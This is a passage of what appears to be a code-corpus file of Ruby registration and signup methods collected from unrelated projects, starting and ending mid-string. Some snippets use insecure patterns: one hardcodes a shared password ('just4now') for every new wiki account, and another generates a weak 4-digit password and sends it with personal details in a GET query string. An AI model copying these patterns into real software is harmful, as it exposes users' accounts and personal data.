occured during the authorization process. Please hit the back button and try again.\"\n end \n \n # display the error to them in the flash\n else \n logger.info \"[SessionsController]==== error creating new member: #{new_member_create_results[:message]}\"\n flash.now[:error] = new_member_create_results[:message]\n end\n end\n else\n # first time through -- prepopulate the form from the session\n @signup_complete_form = SignupCompleteForm.new(session[:auth])\n if ['github','twitter'].include?(@signup_complete_form.provider) \n @signup_complete_form.provider_username = @signup_complete_form.username\n else\n @signup_complete_form.provider_username = @signup_complete_form.email \n end\n \n logger.info \"[SessionsController]==== starting the signup process for #{session[:auth][:provider]}\"\n end\n end", "def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create&param='\r\n register_path << stgu_json.to_s\r\n register_path << '&param=' + stgma_json.to_s\r\n register_path << '&param=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end", "def wizard_new\n \n @subtype=params[:sub_type]\n @package = \"\"\n @image = \"\"\n if @subtype == \"1\"\n @package = \"Basic Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n elsif @subtype == \"2\"\n @package = \"Double Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n else\n @package = \"Family Snack Pack\"\n @image = \"/../assets/new-design/img1-mem.jpg\"\n end\n @subscription = Subscription.find_by_id @subtype\n unless @subscription.blank?\n if request.env['omniauth.auth'].present?\n params = request.env[\"omniauth.params\"]\n\n @fb_data = fetch_facebook_params\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n\n if (@user.blank? && params[\"login\"].present?) || (@user.present? && is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?)\n\n #here need to check if it's a fb registered user + in params we must receive login\n #if !is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?\n #use the @not_yet_fb_signed_up to notify the message at the top.\n\n @not_yet_fb_signed_up = true\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n #user does not registered yet & coming for signup(or login params is blank.)\n elsif @user.blank? && params[\"login\"].blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token], image: @fb_data[:image])\n @user.addresses.build\n @user.creditcards.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n #user is registered & still trying for signup via facebook\n elsif @user.present? && params[\"login\"].blank?\n @registered_email = @user.email\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n else\n #update the token if @user_founds token is not same as the @fb_token\n @user.update_attributes(facebook_token: @fb_data[:fb_token], image: @fb_data[:image]) if @user.facebook_token != @fb_data[:fb_token]\n sign_in(:spree_user, @user)\n redirect_to spree.snack_queue_orders_path\n end\n\n else\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n end\n \nelse\n redirect_to root_path\nend\n \n end", "def register\n end", "def register\n end", "def register\n end", "def register\n \n registration_service = DeviceRegistrationService.new\n registration_response = registration_service.register(registration_params)\n\n if registration_response[:success]\n render json: registration_response, status: :ok\n else\n render json: registration_response, status: :bad_request\n end\n end", "def registration\n #If the order started checkout as guest or if a user is logged in then continue\n redirect_to checkout_path and return if current_user || current_order.guest_checkout?\n @order = current_order\n redirect_to cart_path and return unless @order and @order.checkout_allowed?\n @user_session = UserSession.new(:email=> params[:email])\n end", "def check_registration\n return unless Spree::Auth::Config[:registration_step]\n return if Spree::Config[:allow_guest_checkout] and current_order.email.present?\n return if current_user or not current_order.user.anonymous?\n store_location\n redirect_to checkout_registration_path\n end", "def enter_register_information(user) \r\n puts \"+ <action> enter_register_information --- begin\"\r\n adobe_id_frame_enter_username(user[:email_address])\r\n adobe_id_frame_enter_password_2(user[:password])\r\n adobe_id_frame_retype_password(user[:retype_pass])\r\n adobe_id_frame_firstname_input(user[:first_name])\r\n adobe_id_frame_lastname_input(user[:last_name])\r\n adobe_id_select_country_region(user[:country_region])\r\n\r\n create_btn.click\r\n sleep 5\r\n puts \"+ <action> enter_register_information --- end\"\r\n\r\n if warning_display? \r\n return adobe_id_frame_warning_message.text\r\n end\r\n\r\n end", "def registration\n @registration = Registration.for_user(current_user).for_olympiad(@olympiad).first\n @active_tab = params[:page] || \"me\"\n redirect_to :action=>\"register\" unless @registration\n end", "def load_step(_sub_object_attribute = nil)\n @post_path = wizard_post_path\n @account = wizard_load_or_redirect(accounts_registration_account_for_url)\n end", "def step2\n\n # See if the subdomain already exists\n subdomain = Account.find_by_subdomain(params[:subdomain])\n # The subdomain already exists so redirect them and display error\n if(!subdomain.nil?)\n flash[:error] = \"We're sorry, this web address already exists. Please try another.\"\n redirect_to :action => 'step1'\n end\n \n # If billing info is same as shipping then copy over\n if params[:bill_toggle]\n params[:cust][:bill_first_name] = params[:cust][:ship_first_name]\n params[:cust][:bill_last_name] = params[:cust][:ship_last_name]\n params[:cust][:bill_company] = params[:cust][:ship_company]\n params[:cust][:bill_address] = params[:cust][:ship_address]\n params[:cust][:bill_address2] = params[:cust][:ship_address2]\n params[:cust][:bill_city] = params[:cust][:ship_city]\n params[:cust][:bill_state] = params[:cust][:ship_state]\n params[:cust][:bill_zip] = params[:cust][:ship_zip]\n end\n \n # Store their information to the session object, but not when redirected back from process_order\n if params[:cust]\n session[:cust] = params[:cust]\n session[:email] = params[:email]\n session[:password] = params[:password]\n session[:subdomain] = params[:subdomain]\n end\n \n # Determine shipping costs\n @ship_ground = 12.95\n @ship_2day = 24.95\n @ship_overnight = 49.95\n \n # Do the multiplier based on qty\n if session[:qty].to_i > 1\n @ship_ground = @ship_ground + (session[:qty]*4.95)\n @ship_2day = @ship_2day + (session[:qty]*7.95)\n @ship_overnight = @ship_overnight + (session[:qty]*9.95)\n end\n \n # Determine tax\n if session[:cust][:ship_state] == 'TX'\n tax = (session[:subtotal] * 0.0825)\n session[:tax] = tax\n else\n session[:tax] = 0\n end\n \n # Store the total\n session[:total] = session[:subtotal] + @ship_ground + session[:tax]\n end", "def register\n end", "def register\n personal_information\n your_address\n end", "def create\n @user_account_registration = UserAccountRegistration.new(params[:user_account_registration])\n logger.debug \"User Account Registration = #{@user_account_registration}\"\n captcha_valid = validate_recap(params, @user_account_registration.errors)\n @user_account_registration.errors.clear\n\n if @user_account_registration.valid? == false || captcha_valid == false\n # perform validation on fields even if captcha response is invalid. Otherwise, user has to solve captcha just to get form feedback, which is super annoying.\n redirectPage=false\n render500=false\n @user_account_registration.errors.add :recaptcha, \"Invalid Captcha Response\" unless captcha_valid\n if @user_account_registration.errors[:email].include?(\"An account with this email already exists\") && captcha_valid == false\n # to avoid bots being able to check for valid emails, only display existing email message if captcha is valid\n @user_account_registration.errors[:email].reject! { |x| x == \"An account with this email already exists\" }\n end\n else\n begin\n @user_account_registration.register\n redirectPage= true\n render500 = false\n session[:guuid] = @user_account_registration.email\n rescue InvalidPasswordException => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n APP_CONFIG['password_policy'].each { |msg| @user_account_registration.errors.add(:password, msg) }\n redirectPage = false\n render500 = false\n rescue Exception => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n logger.info { e.message }\n render500=true\n end\n end\n respond_to do |format|\n if redirectPage==true\n format.html { redirect_to(\"/eula\")}\n format.json { render :json => @user_account_registration,action: \"/eulas\"}\n elsif render500==true\n format.html { render :noframe_500, :status => 500 }\n #format.json { :status => :not_found}\n format.any { head :not_found }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_account_registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_step1\n session[:current_user_address] = params[:user][:address]\n redirect_to welcome_step2_path\n end", "def sign_up\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.registration_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n redirect_to \"/login\", status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.has_registration_ended?\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end", "def on_success!(response, sreg_response)\n if user = find_user_by_identity_url(response.identity_url)\n user\n else\n request.session[:'openid.url'] = response.identity_url\n required_reg_fields.each do |f|\n session[:\"openid.#{f}\"] = sreg_response.data[f] if sreg_response.data[f]\n end if sreg_response\n redirect!(Merb::Router.url(:signup))\n end\n end", "def registration\n user.registration_for course\n end", "def register\n\t\ttype = @view.type_client\n\t\t# user_attributes = @view.display_register\n\t\tif type == \"admin\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Admin.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"vendor\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Vendor.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telsif type == \"client\"\n\t\t\tuser_attributes = @view.display_register\n\t\t\tuser = Client.new(user_attributes[0], user_attributes[1], user_attributes[2])\n\t\t\tuser.add_user(user)\n\t\t\t@current_user = user\n\t\t\toption = @view.second_view(user, user.actions)\n\t\t\tlist(option)\n\t\telse\n\t\t \tputs \"Try again\"\n\t\t \tputs \"\"\n\t\t \toption = @view.initial_view\n\t\t \tselect(option)\n\t\tend\n\tend", "def register\n if @user.blank? || (!@user.is_registered && @user.tips.count == 0 && @user.votes.count == 0)\n redirect_to :profile, alert: \"Registration Impossible. There is nothing to register\"\n elsif @user.is_registered\n redirect_to :profile, alert: \"Registration Impossible. Account already registered\"\n else\n if @user.register(user_registration_params.to_h)\n #cookies.delete(\"user_id\") #don't delete the cookie, just in case I'm logging in on someone else's device.\n sign_in @user\n redirect_to :profile, notice: \"Account successfully registered. You can now login from anywhere !\"\n else\n redirect_to :profile, alert: \"Registration failed. #{@user.errors.full_messages.to_sentence}\"\n end\n end\n end", "def register_with_feewise?\n \"DONE\"\n end", "def register2\n @device = Device.where(:id => params[:text2].to_i).first\n @device.User_id = current_user.id\n\n\n \n if !(@device.User.blank?) then \n respond_to do |format|\n if @device.save then \n format.html { redirect_to @device, notice: 'Device was successfully limked with your account.' }\n format.json { render :show, status: :created, location: @device }\n else\n format.html { render :new }\n format.json { render json: @device.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n\n @registration = current_user.registrations.new(event_params)\n\n respond_to do |format|\n if @registration.save\n if @registration.amount_payable == 0.0\n format.html { redirect_to :controller => 'events', notice: 'Event was successfully registered.' }\n else\n format.html { redirect_to :controller => 'registrations', :action => 'summary', :id => @registration.id,notice: 'Event was successfully registered.' }\n end\n\n else\n @event =validate_event(event_params[:event_id])\n @registration.family_members = current_user.family_members.where('city_user_id != ?', current_user.user_id).all(:order => :city_user_id)\n format.html { render action: 'register' }\n end\n end\n\n end", "def register\n\n\tend", "def account_complete # POST '/admin/account_setup'\n @admin = Admin.find(session[:admin_id])\n\n # This section of the site is built for new admin accounts.\n # Update the admin attributes with more detailed information from the\n # account_setup (step 2) form, && update the their first store which was\n # instantiated at the account_create action.\n if @admin.update(admin_params) && @admin.stores.first.update(store_params)\n ## Sign-up is successful and admin dashboard is loaded.\n redirect_to admin_path\n else\n render :account_setup\n end\n end", "def register_account\n profile = Profile.new(params[:profile])\n profile = update_profile_for_register_account(profile)\n if save_objeck(profile)\n if Notifier.trigger_register_thank_you(profile.id)\n profile.histories.create(:message => \"Register Thank You email sent\")\n end\n show_success(profile.class.to_s)\n set_session_user(profile.user)\n else\n profile = handle_profile_errors(profile)\n show_failure(profile)\n end\n end", "def register devicetype, &block\n\t\t\traise NotVerifiedError.new unless @verified\n\n\t\t\tif @username && @registered\n\t\t\t\tyield true, @username\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tmsg = %Q{{\"devicetype\":#{devicetype.to_json}}}\n\t\t\t@request_queue.post '/api', msg, :registration, nil, 6 do |response|\n\t\t\t\tstatus, result = check_json response\n\n\t\t\t\tif status\n\t\t\t\t\t@username = result.first['success']['username']\n\t\t\t\tend\n\n\t\t\t\tyield status, result\n\t\t\tend\n\t\tend", "def registration_succeeded!\n Chef::Log.info('Sumo Collector registered successfully.')\n sleep(2)\n end", "def create\n if (user_limit_reached?)\n redirect_to(:controller => \"waitlist_users\", :action => \"new\")\n else\n @user_account_registration = UserAccountRegistration.new(params[:user_account_registration])\n logger.debug \"User Account Registration = #{@user_account_registration}\"\n captcha_valid = validate_recap(params, @user_account_registration.errors)\n @user_account_registration.errors.clear\n\n if @user_account_registration.valid? == false || captcha_valid == false\n # perform validation on fields even if captcha response is invalid. Otherwise, user has to solve captcha just to get form feedback, which is super annoying.\n redirectPage=false\n render500=false\n @user_account_registration.errors.add :recaptcha, \"Invalid Captcha Response\" unless captcha_valid\n if @user_account_registration.errors[:email].include?(\"An account with this email already exists\") && captcha_valid == false\n # to avoid bots being able to check for valid emails, only display existing email message if captcha is valid\n @user_account_registration.errors[:email].reject! { |x| x == \"An account with this email already exists\" }\n end\n else\n begin\n @user_account_registration.register\n redirectPage= true\n render500 = false\n session[:guuid] = @user_account_registration.email\n rescue InvalidPasswordException => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n APP_CONFIG['password_policy'].each { |msg| @user_account_registration.errors.add(:password, msg) }\n redirectPage = false\n render500 = false\n rescue Exception => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n\n logger.info { e.message }\n render500=true\n end\n end\n respond_to do |format|\n if redirectPage==true\n format.html { redirect_to(\"/eula\")}\n format.json { render :json => @user_account_registration,action: \"/eulas\"}\n elsif render500==true\n format.html { render :noframe_500, :status => 500 }\n #format.json { :status => :not_found}\n format.any { head :not_found }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_account_registration.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def register_uki username\n puts \"Requesting a security token for the new UKI registration\"\n Dashlane::Uki.register_uki_step_1 username\n\n puts \"Enter the PIN sent by email:\"\n token = gets.chomp\n\n puts \"Registering the new device/UKI pair with Dashlane\"\n uki = Dashlane::Uki.generate\n Dashlane::Uki.register_uki_step_2 username, \"dashlane-ruby\", uki, token\n\n puts \"A new device 'dashlane-ruby' is registered with Dashlane (UKI: #{uki})\"\n puts \"Please add it to 'credentials.yaml'\"\n\n uki\nrescue => e\n puts \"Failed to register a new UKI with Dashlane: '#{e}'\"\nend", "def account_for\n wizard_step(STEPS) { { setup_step: :setup_step, next_step: :account_for_next_step } }\n end", "def beta_registration\n return if current_user\n store_location\n redirect_to login_path\n end", "def new_signup\n\n begin \n r_controller = params[\"src_controller\"]\n r_action = params[\"src_action\"]\n r_id = params[\"src_id\"]\n\n raise \"error - no r_controller #{params.inspect}\" unless r_controller\n raise \"error - no r_action #{params.inspect}\" unless r_action\n \n #----------\n # step 1: customer\n #----------\n\n if params[:customer] && params[:customer][:email] != \"\"\n if @customer\n flash[:message] = \"Internal error - you're already logged in\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n end\n \n if params[\"customer\"][\"email\"].nil? || params[\"customer\"][\"password\"].nil?\n flash[:message] = \"Password and Email required.\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n end\n \n # if params[\"customer\"][\"email\"] != params[\"customer\"][\"email_2\"]\n # flash[:message] = \"Email addresses don't match.\"\n # return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n # end\n \n # if params[\"customer\"][\"password\"] != params[\"customer\"][\"password_2\"]\n # flash[:message] = \"Passwords don't match.\"\n # return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n # end\n \n #-----\n # login existing or create new customer\n #-----\n \n email = params[\"customer\"][\"email\"]\n email.gsub!(\" \", \"\")\n\n if cc = Customer.find_by_email(email) \n if Customer.authenticate(email, params[\"customer\"][\"password\"])\n @customer = cc\n else\n flash[:message] = \"Customer exists, but incorrect password\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) if r_id\n return redirect_to(:controller => r_controller, :action => r_action ) \n end\n else\n @customer = Customer.create(:email => email,\n :password => params[\"customer\"][\"password\"],\n :password_confirmation => params[\"customer\"][\"password_2\"],\n :arrived_via_email_capture => 1,\n :first_ip_addr => request.remote_ip,\n :first_server_name => request.host)\n unless @customer.valid?\n raise \"Error signing up: #{@customer.errors.full_messages.join(', ')}\"\n end\n @customer.save!\n end \n # POST-CONDITION: @customer exists\n\n # BEGIN DUPLICATE CODE (also in customer_controller)\n session[:customer_id] = @customer.id\n session[:timestamp] = Time.now.to_i\n # END DUPLICATE CODE\n\n end \n\n #----------\n # step 2: univ choice (optional)\n #----------\n \n # Customer need not send a university choice\n # ...but if they do, it has to be a valid one, not the \"choose one\" default.\n #\n \n if params[:university] && params[:university][:university_id] != \"0\"\n\n if University.find_by_university_id(params[:university][:university_id].to_i).nil?\n flash[:message] = \"You must pick a university.\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) if r_id\n return redirect_to(:controller => r_controller, :action => r_action ) \n else\n session[:univ_id] = params[:university][:university_id] \n end\n\n end\n # POST-CONDITION: \n # session[:univ_id] is set\n\n # if we're 100% done with customer && univ choice, move on to step 2, else\n # stay in step 1 to get the rest of the material\n if @customer && session[:univ_id]\n return redirect_to(:action => :set_address ) \n end\n\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n \n rescue Exception => e\n flash[:message] = e\n ExceptionNotifier::Notifier.exception_notification(request.env, e).deliver\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n end\n \n end", "def user_details\n wizard_step(STEPS) { { after_merge: :save_account } }\n end", "def check_pending_registration!\n redirect_to dashboard_finish_registration_path if current_user.is_newbie?\n end", "def register\n return render :json => 'Invalid email address or password', status: 401 unless params[:email_address]\n existing_treater_account = TreaterAccount.find_by_email_address(params[:email])\n existing_user = existing_treater_account ? existing_treater_account.user : nil\n\n if existing_user.nil? && existing_treater_account.nil?\n #TODO - Fix attr_accessible white list so we dont' have to build this manually...\n user = User.create(email_address: params[:email], name: params[:name],\n password: params[:password], password_confirmation: params[:password_confirmation])\n treater_account = TreaterAccount.create(user_id: user.id, identifier: user.id, name: params[:name], email: user.email_address, authenticated_at: Time.now)\n user.account_setup\n\n session[:user_id] = user.id\n session[:external_account_id] = treater_account.id\n\n result = {}\n result[:on_complete_url] = params[:on_complete_url]\n return render :json => result.to_json, status: 200\n elsif existing_user && existing_treater_account.nil?\n #TODO - Fix attr_accessible white list so we dont' have to build this manually...\n # - Move all this logic to account_setup\n treater_account = TreaterAccount.create(user_id: existing_user.id, identifier: existing_user.id, name: params[:name], email: existing_user.email_address, authenticated_at: Time.now)\n\n session[:user_id] = existing_user.id\n session[:external_account_id] = treater_account.id\n\n result = {}\n result[:on_complete_url] = params[:on_complete_url]\n return render :json => result.to_json, status: 200\n else\n #login failed\n return render :json => 'Some error...', status: 401\n end\n end", "def create\n @registration = Registration.new(registration_params)\n err = false\n\n if Student.find_by_name(params[:registration][:student_id])\n student = Student.find_by_name(params[:registration][:student_id]).id\n else\n err = true\n end\n\n if !err\n err = @registration.save_registration(params[:registration], student)\n end\n\n if err\n redirect_to new_registration_path\n else\n redirect_to registrations_path\n end\n\n end", "def caregiver_register\n if (params[:user_uid] != nil)\n @pu_id = User.find_by(user_uid: params[:user_uid])\n if @pu_id.present?\n cg_ids = UserAssociation.where(patient_id: @pu_id.id).pluck(:caregiver_id) != [] ? UserAssociation.where(patient_id: @pu_id.id).pluck(:caregiver_id) : nil\n caregivers = User.where(id: cg_ids).where.not(email: nil, password: nil)\n if (caregivers.count < 2)\n pay_status = @pu_id.active_status\n if (pay_status == true)\n mob_no = User.find_by(mobile_no: params[:mobile_no], role_id: params[:role_id])\n if mob_no.present?\n @cg = mob_no.update(name: params[:name], email: params[:email], password: params[:password], active_status: true)\n @cg = mob_no\n user_association = UserAssociation.find_by(patient_id: @pu_id.id, caregiver_id: @cg.id)\n if user_association.present?\n user_association = user_association.update(patient_id: @pu_id.id, caregiver_id: @cg.id)\n end\n UserMailer.welcome_user(@cg).deliver_now\n else\n @cg = User.new(name: params[:name], email: params[:email], mobile_no: params[:mobile_no], password: params[:password], role_id: params[:role_id], active_status: true)\n if @cg.save\n user_association = UserAssociation.create(patient_id: @pu_id.id, caregiver_id: @cg.id) \n UserMailer.welcome_user(@cg).deliver_now\n render json: {cg: @cg, user_association: user_association}, status: :ok\n else\n render json: { error: 'Mobile number or Email has been already taken' }, status: :unprocessable_entity\n end\n end\n else\n render json: { error: 'your patient needs to Subscription' }, status: :unauthorized\n end\n else\n render json: { message: \"The patient already have two caregivers\" }, status: :unprocessable_entity\n end\n else\n render json: { error: 'UID not valid' }, status: :unauthorized\n end\n end\n\n # if (params[:user_uid] != nil)\n # @pu_id = User.find_by(user_uid: params[:user_uid])\n # if @pu_id.present?\n # pay_status = @pu_id.active_status\n # if pay_status == true\n # mob_no = User.find_by(mobile_no: params[:mobile_no], role_id: params[:role_id])\n # if mob_no.present?\n # @cg = mob_no.update(name: params[:name], email: params[:email], password: params[:password], active_status: true)\n # @cg = mob_no\n # user_association = UserAssociation.find_by(patient_id: @pu_id.id, caregiver_id: @cg.id)\n # if user_association.present?\n # user_association = user_association.update(patient_id: @pu_id.id, caregiver_id: @cg.id)\n # end\n # UserMailer.welcome_user(@cg).deliver_now\n # else\n # @cg = User.new(name: params[:name], email: params[:email], mobile_no: params[:mobile_no], password: params[:password], role_id: params[:role_id], active_status: true)\n # if @cg.save\n # user_association = UserAssociation.create(patient_id: @pu_id.id, caregiver_id: @cg.id) \n # UserMailer.welcome_user(@cg).deliver_now\n # render json: {cg: @cg, user_association: user_association}, status: :ok\n # else\n # render json: { error: 'Mobile number or Email has been already taken' }, status: :unprocessable_entity\n # end\n # end\n # else\n # render json: { error: 'your patient needs to Subscription' }, status: :unauthorized\n # end\n # else\n # render json: { error: 'UID not valid' }, status: :unauthorized \n # end\n # end\n end", "def attemp_signup\n\n end", "def account_details_next_step\n return STEPS if AccountType.individual?(@account.account_type)\n\n accounts_registration_user_details_path\n end", "def create\n @registration = Registration.new(params)\n print @registration\n @registration.form = Form.find(params[:form_id])\n print @registration.form\n if @registration.save\n # send email to participant after registration not working jet.\n workshop = @registration.form.workshop\n RegistrationMailer.welcome_email(@registration, workshop.mail_template).deliver\n flash[:success] = \"Your registration was successful\"\n redirect_to success_reg_path\n else\n flash[:error] = \"Your registration was not successfull\"\n redirect_to :back\n end\n end", "def call\n add_fields(confirm_registration: true)\n end", "def registerUser\n\t\tresponse = Hash.new\n\t\t\n\t\tif params[:name] != nil and params[:pass] != nil\n\t\t\tunless User.where(:name).empty?\n\t\t\t\tresponse = {:result => :failed,:message => \"specified name is already existing\"}\n\t\t\t\trender :json => response\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\tuser = User.new\n\t\t\tuser.name = params[:name]\n\t\t\tuser.pass = params[:pass]\n\t\t\twhile user.userhash == nil do\n\t\t\t\ttmp = ((1..9).to_a + ('a'..'z').to_a).sample(25).join\n\t\t\t\tuser.userhash = tmp if User.where(:userhash => tmp).empty?\n\t\t\tend\n\n\t\t\tmystep = Step.new\n\t\t\tmystep.save\n\t\t\tuser.step_id = mystep.id\n\n\t\t\tuser.save\n\n\t\t\tresponse = {:result => :successed ,:message =>\"registered use name = #{params[:name]}\" ,:userhash => user.userhash} \n\n\t\telse\n\t\t\tresponse = {:result => :failed,:message => \"lack of information for register new user\"}\n\t\tend\n\n\t\trender :json => response\n\n\tend", "def user_signup_finished?\n unless is_guest?\n if current_user == User.friendly.find(params[:id])\n @user = current_user\n if @user.valid? == false # If user's attributes are missing, sends them to 'Finish Profile Page'\n flash[:alert] = \"Please finish signing up for Ossemble by entering your First Name, Last Name, Birth Date, Address, and ensuring your location is correct.\"\n redirect_to edit_user_registration_path # Finish Profile Page Setup with form\n end\n end\n end\n end", "def do_signup\n hobo_do_signup do\n if this.errors.blank?\n #flash[:notice] << \"You must activate your account before you can log in. Please check your email.\"\n flash[:notice] << \" Your account has been created.\"\n\n # FIXME: remove these two lines after you get email working reliably\n # and before your application leaves its sandbox...\n #secret_path = user_activate_path :id=>this.id, :key => this.lifecycle.key\n #flash[:notice] << \"The 'secret' link that was just emailed was: <a id='activation-link' href='#{secret_path}'>#{secret_path}</a>.\"\n else\n flash[:notice] = @this.errors.full_messages.join(\"<br/>\")\n logger.info \"error is \" + flash[:notice]\n end\n\n end\n end", "def process_post\n service.sign_up_fisherman(\n JSON.parse(request.body.to_s).symbolize_keys\n ).on(\n fishing_application_succeeded: ->(result) {\n response.headers['Content-Type'] = \"application/json\"\n response.body = result.to_json\n true\n },\n fishing_application_conflicts: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 409\n },\n fishing_application_invalid: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 422\n }\n )\n end", "def create\n @user = User.new(params[:user])\n\n if @user.valid?\n if params[:next_step] == 'end'\n @user.save\n redirect_to :action => 'index'\n else\n @user.step = params[:next_step]\n render :action => 'new'\n end\n else\n render :action => 'new'\n end\n end", "def register_create\n begin\n user_create('devise/registrations/register')\n rescue => e\n Rails.logger.error APP_CONFIG['error'] + \"(#{e.message})\" + \",From:app/controllers/registrations_controller.rb ,Action:restaurant_create\"\n flash.now[:alert] = '發生錯誤! 註冊失敗!'\n render 'devise/registrations/register'\n end\n end", "def create\n @profile = Profile.new\n current_user.profile = @profile if current_user.profile == nil\n current_user.save\n \n respond_to do |format|\n if current_user.update_name user_params[:first_name], user_params[:last_name]\n session[:step] += 1 \n format.js { render 'update_registration.js.erb' }\n else\n format.html { render :new }\n format.js { render js: 'alert(\"internal error\")' }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration' ) do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'just4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n self.twiki_created = Time.now()\n self.save_without_session_maintenance\n return true\n end\n\n \n end", "def create_twiki_account\n require 'mechanize'\n agent = Mechanize.new\n agent.basic_auth(TWIKI_USERNAME, TWIKI_PASSWORD)\n agent.get(TWIKI_URL + '/do/view/TWiki/TWikiRegistration') do |page|\n registration_result = page.form_with(:action => '/do/register/Main/WebHome') do |registration|\n registration.Twk1FirstName = self.first_name\n registration.Twk1LastName = self.last_name\n registration.Twk1WikiName = self.twiki_name\n registration.Twk1Email = self.email\n registration.Twk0Password = 'just4now'\n registration.Twk0Confirm = 'just4now'\n registration.Twk1Country = 'USA'\n # registration.action = 'register'\n # registration.topic = 'TWikiRegistration'\n # registration.rx = '%BLACKLISTPLUGIN{ action=\\\"magic\\\" }%'\n end.submit\n # #<WWW::Mechanize::Page::Link \"AndrewCarnegie\" \"/do/view/Main/AndrewCarnegie\">\n link = registration_result.link_with(:text => self.twiki_name)\n if link.nil?\n #the user probably already exists\n pp registration_result\n return false\n end\n 